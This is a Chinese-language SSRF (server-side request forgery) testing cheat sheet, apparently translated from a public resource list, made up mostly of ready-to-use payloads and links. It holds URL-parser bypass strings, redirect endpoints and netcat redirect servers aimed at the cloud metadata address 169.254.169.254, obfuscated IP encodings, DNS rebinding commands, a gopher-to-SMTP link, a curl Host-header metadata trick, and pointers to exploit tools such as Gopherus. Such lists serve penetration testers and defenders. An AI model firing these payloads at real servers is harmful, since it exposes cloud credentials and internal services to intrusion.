感谢 Tuta 给予的支持

SSRF（服务端请求伪造）测试资源

---

基于 URL 的快速绕过：

http://google.com:80+&@127.88.23.245:22/#[email protected]:80/

http://127.88.23.245:22/+&@google.com:80#[email protected]:80/

http://google.com:80+&@google.com:80#[email protected]:22/

http://127.88.23.245:22/[email protected]:80/

http://127.88.23.245:22/#@www.google.com:80/

http://google.com:80\\@127.88.23.245:22/

---

htaccess - 各种情况下的重定向测试

状态码：300, 301, 302, 303, 305, 307, 308

文件类型：jpg, json, csv, xml, pdf

在线演示：

jpg 301 响应（无/有有效响应体）：

https://ssrf.localdomain.pw/img-without-body/301-http-169.254.169.254:80-.i.jpg

https://ssrf.localdomain.pw/img-without-body-md/301-http-.i.jpg

https://ssrf.localdomain.pw/img-with-body/301-http-169.254.169.254:80-.i.jpg

https://ssrf.localdomain.pw/img-with-body-md/301-http-.i.jpg

json 301 响应（无/有有效响应体）：

https://ssrf.localdomain.pw/json-without-body/301-http-169.254.169.254:80-.j.json

https://ssrf.localdomain.pw/json-without-body-md/301-http-.j.json

https://ssrf.localdomain.pw/json-with-body/301-http-169.254.169.254:80-.j.json

https://ssrf.localdomain.pw/json-with-body-md/301-http-.j.json

csv 301 响应（无/有有效响应体）：

https://ssrf.localdomain.pw/csv-without-body/301-http-169.254.169.254:80-.c.csv

https://ssrf.localdomain.pw/csv-without-body-md/301-http-.c.csv

https://ssrf.localdomain.pw/csv-with-body/301-http-169.254.169.254:80-.c.csv

https://ssrf.localdomain.pw/csv-with-body-md/301-http-.c.csv

xml 301 响应（无/有有效响应体）：

https://ssrf.localdomain.pw/xml-without-body/301-http-169.254.169.254:80-.x.xml

https://ssrf.localdomain.pw/xml-without-body-md/301-http-.x.xml

https://ssrf.localdomain.pw/xml-with-body/301-http-169.254.169.254:80-.x.xml

https://ssrf.localdomain.pw/xml-with-body-md/301-http-.x.xml

pdf 301 响应（无/有有效响应体）：

https://ssrf.localdomain.pw/pdf-without-body/301-http-169.254.169.254:80-.p.pdf

https://ssrf.localdomain.pw/pdf-without-body-md/301-http-.p.pdf

https://ssrf.localdomain.pw/pdf-with-body/301-http-169.254.169.254:80-.p.pdf

https://ssrf.localdomain.pw/pdf-with-body-md/301-http-.p.pdf

---

custom-30x - 使用 PHP 自定义 30x 响应与 Location 头

在线演示：

https://ssrf.localdomain.pw/custom-30x/?code=332&url=http://169.254.169.254/&content-type=YXBwbGljYXRpb24vanNvbg==&body=eyJhIjpbeyJiIjoiMiIsImMiOiIzIn1dfQ==&fakext=/j.json

---

custom-200 - 使用 PHP 自定义 200 响应与 Content-Location 头

在线演示：

https://ssrf.localdomain.pw/custom-200/?url=http://169.254.169.254/&content-type=YXBwbGljYXRpb24vanNvbg==&body=eyJhIjpbeyJiIjoiMiIsImMiOiIzIn1dfQ==&fakext=/j.json

---

custom-201 - 使用 PHP 自定义 201 响应与 Location 头

在线演示：

https://ssrf.localdomain.pw/custom-201/?url=http://169.254.169.254/&content-type=YXBwbGljYXRpb24vanNvbg==&body=eyJhIjpbeyJiIjoiMiIsImMiOiIzIn1dfQ==&fakext=/j.json

---

使用 netcat 实现的极简 Web 服务器

while true ; do nc -l -p 80 -c 'echo -e "HTTP/1.1 302 Found\nContent-Type: application/json\nLocation: http://169.254.169.254/\n{\"a\":\"b\"}"'; done

export RTSPLOCATION="http://169.254.169.254/"; while true ; do nc -l -p 554 -c 'echo -e "RTSP/1.0 301 Moved\nCSeq: 1\nLocation: $RTSPLOCATION"'; done

---

ip.py - 对 SSRF 测试有用的备用 IP 编码工具

python ip.py IP PORT WhiteListedDomain EXPORT(optional)

python ip.py 169.254.169.254 80 www.google.com

python ip.py 169.254.169.254 80 www.google.com export

---

DNS 固定

nslookup ssrf-169.254.169.254.localdomain.pw

nslookup ssrf-cloud.localdomain.pw

http://xip.io/

nslookup 169.254.169.254.xip.io

nslookup 1ynrnhl.xip.io

nslookup www.owasp.org.1ynrnhl.xip.io

nslookup 127.127.127.127.xip.io

https://nip.io/

nslookup 169.254.169.254.nip.io

nslookup app-169-254-169-254.nip.io

nslookup owasp.org.169.254.169.254.nip.io

nslookup customer2-app-169-254-169-254.nip.io

nslookup 127.127.127.127.nip.io

---

DNS 固定竞态条件

nslookup ssrf-race-169.254.169.254.localdomain.pw

---

DNS 重绑定

pip install twised

python3 dns.py WhitelistedIP InternalIP ServerIP Port Domain

python3 dns.py 216.58.214.206 169.254.169.254 78.47.24.216 53 localdomains.pw

http://webcache.googleusercontent.com/search?q=cache:http://www.611eternity.com/DNSRebinding%E6%8A%80%E6%9C%AF%E5%AD%A6%E4%B9%A0/

DNS 重绑定利用框架 - https://github.com/mwrlabs/dref

---

cloud-metadata.txt - 对 SSRF 测试有用的云元数据字典

---

svg - 通过 svg 文件实现 SSRF

---

ffmpeg - 通过 ffmpeg 实现 SSRF

https://hackerone.com/reports/237381

https://hackerone.com/reports/243470

https://github.com/neex/ffmpeg-avi-m3u-xbin

https://www.blackhat.com/docs/us-16/materials/us-16-Ermishkin-Viral-Video-Exploiting-Ssrf-In-Video-Converters.pdf

https://docs.google.com/presentation/d/1yqWy_aE3dQNXAhW8kxMxRqtP7qMHaIfMzUDpEqFneos/edit#slide=id.g22371f2702_0_15

---

iframe - 通过 HTML iframe + URL 绕过实现 SSRF

在线演示：

http://ssrf.localdomain.pw/iframe/?proto=http&ip=127.0.0.1&port=80&url=/

---

滥用带圈字母数字（Enclosed Alphanumerics）

http://169。254。169。254/

http://169｡254｡169｡254/

http://⑯⑨。②⑤④。⑯⑨｡②⑤④/

http://⓪ⓧⓐ⑨｡⓪ⓧⓕⓔ｡⓪ⓧⓐ⑨｡⓪ⓧⓕⓔ:80/

http://⓪ⓧⓐ⑨ⓕⓔⓐ⑨ⓕⓔ:80/

http://②⑧⑤②⓪③⑨①⑥⑥:80/

http://④②⑤｡⑤①⓪｡④②⑤｡⑤①⓪:80/

http://⓪②⑤①。⓪③⑦⑥。⓪②⑤①。⓪③⑦⑥:80/

http://⓪⓪②⑤①｡⓪⓪⓪③⑦⑥｡⓪⓪⓪⓪②⑤①｡⓪⓪⓪⓪⓪③⑦⑥:80/

http://[::①⑥⑨｡②⑤④｡⑯⑨｡②⑤④]:80/

http://[::ⓕⓕⓕⓕ:①⑥⑨。②⑤④。⑯⑨。②⑤④]:80/

http://⓪ⓧⓐ⑨。⓪③⑦⑥。④③⑤①⑧:80/

http://⓪ⓧⓐ⑨｡⑯⑥⑧⑨⑥⑥②:80/

http://⓪⓪②⑤①。⑯⑥⑧⑨⑥⑥②:80/

http://⓪⓪②⑤①｡⓪ⓧⓕⓔ｡④③⑤①⑧:80/

---

commonly-open-ports.txt - 常见开放端口列表

---

SSRF2SMTP

https://ssrf.localdomain.pw/ssrf2smtp/?proto=gopher&ip=0&port=25&domain=domain.com&[email protected]&code=301

---

Schemes-List.xlsx - 800 个已知协议方案 + 有用的参考资料

https://github.com/irsdl/OutlookLeakTest/blob/master/Schemes-List.xlsx?raw=true

---

Java/Python FTP 注入可实现防火墙绕过

http://webcache.googleusercontent.com/search?q=cache:http://blog.blindspotsecurity.com/2017/02/advisory-javapython-ftp-injections.html

https://github.com/ecbftw/poc/blob/master/java-python-ftp-injection/ftp-injection-server.py

http://webcache.googleusercontent.com/search?q=cache:https://shiftordie.de/blog/2017/02/18/smtp-over-xxe/

---

SSRF + Gopher + Redis

http://webcache.googleusercontent.com/search?q=cache:http://vinc.top/2016/11/24/%E3%80%90ssrf%E3%80%91ssrfgopher%E6%90%9E%E5%AE%9A%E5%86%85%E7%BD%91%E6%9C%AA%E6%8E%88%E6%9D%83redis/

https://webcache.googleusercontent.com/search?q=cache:http://antirez.com/news/96

---

最容易出现 SSRF 漏洞的 5 大功能：

https://webcache.googleusercontent.com/search?q=cache:https://www.hackerone.com/blog-How-To-Server-Side-Request-Forgery-SSRF

---

Joshua Maddux - 当 TLS 攻击你时

https://www.youtube.com/watch?v=qGpAJxfADjo

https://github.com/jmdx/TLS-poison

---

AppSecEU15-Server_side_browsing_considered_harmful.pdf

https://www.youtube.com/watch?v=8t5-A4ASTIU

---

us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf

https://www.youtube.com/watch?v=D1S-G8rJrEk

---

一个短小精悍的 URL 模糊测试工具

https://github.com/orangetw/Tiny-URL-Fuzzer

---

通过利用 Ruby 原生解析器中的 Bug 绕过服务端请求伪造过滤器

https://edoverflow.com/2017/ruby-resolv-bug/

https://hackerone.com/reports/287245

https://hackerone.com/reports/215105

0177.1 => 127.0.0.1

0x7f.1 => 127.0.0.1

127.1 => 127.0.0.1

---

仅限 AWS 的绕过

http://instance-data/latest/meta-data/

---

SSRF 技巧

http://webcache.googleusercontent.com/search?q=cache:http://blog.safebuff.com/2016/07/03/SSRF-Tips/

---

PHP SSRF 技术

https://medium.com/secjuice/php-ssrf-techniques-9d422cb28d51

---

SSRF 圣经

https://docs.google.com/document/d/1v1TkWZtrhzRLy0bYXBcdLUedXGb9njTNIJXa3u9akHM

---

SSRF Proxy

https://github.com/bcoles/ssrf_proxy

SSRF Proxy 有助于通过存在服务端请求伪造漏洞的服务器对 HTTP 通信进行隧道传输

---

通过请求拆分实现 SSRF

https://www.rfk.id.au/blog/entry/security-bugs-ssrf-via-request-splitting/

---

过度宽松的代理

https://www.nginx.com/blog/trust-no-one-perils-of-trusting-user-input/

curl http://remote-ip-address/latest/meta-data/ -H "Host: 169.154.169.254"

---

关于 SSRF 你需要了解的一切，以及如何编写工具进行自动检测

https://medium.com/bugbountywriteup/the-design-and-implementation-of-ssrf-attack-framework-550e9fda16ea

---

Gopherus - 该工具生成 gopher 链接，用于在各类服务器上实现 SSRF 和 RCE

https://spyclub.tech/2018/08/14/2018-08-14-blog-on-gopherus/

---

盲 SSRF 链术语表

https://blog.assetnote.io/2021/01/13/blind-ssrf-chains/

---